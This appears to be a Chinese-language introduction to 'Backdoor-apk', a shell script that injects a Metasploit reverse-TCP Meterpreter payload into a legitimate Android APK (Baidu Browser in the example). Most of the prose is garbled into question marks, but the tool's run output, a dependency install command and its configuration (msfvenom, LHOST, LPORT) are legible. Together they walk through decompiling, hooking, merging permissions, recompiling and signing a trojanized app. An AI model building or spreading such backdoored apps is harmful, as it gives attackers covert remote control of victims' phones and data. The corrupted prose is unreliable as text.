????Backdoor-apk????????????shell???????????????Android APK????????????????????о?????????ù????????Linux??Bash??Metasploit??Apktool??Android SDK ??smali?????????????????ù?????????о???????á?
?????????н???????????????????????????????????о????????????á?
???????????????
root@kali:~/Android/evol-lab/BaiduBrowserRat# ./backdoor-apk.sh BaiduBrowser.apk
[*] Generating reverse tcp meterpreter payload...done.
[+] Handle the meterpreter connection at: 10.6.9.31:1337
[*] Decompiling original APK file...done.
[*] Decompiling RAT APK file...done.
[*] Creating new directories in original project for RAT smali files...done.
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Locating smali file to hook in original project...done.
[*] Adding hook in original smali file...done.
[*] Merging permissions of original and payload projects...done.
[*] Recompiling original project with backdoor...done.
[*] Signing recompiled APK...done.
root@kali:~/Android/evol-lab/BaiduBrowserRat#
???????????apk????????original/dist????????????????????豸?????????ú?IP????????????meterpreter ???в????
???????
?????????Kali???????л????????????
????apt-get install lib32stdc++6 lib32ncurses5 lib32z1
????????
??????????????????????????????
MSFVENOM=msfvenom
LHOST="10.6.9.31"
LPORT="1337"
APKTOOL=apktool2
MY_PATH=`pwd`
ORIG_APK_FILE=$1
RAT_APK_FILE=Rat.apk
LOG_FILE=run.log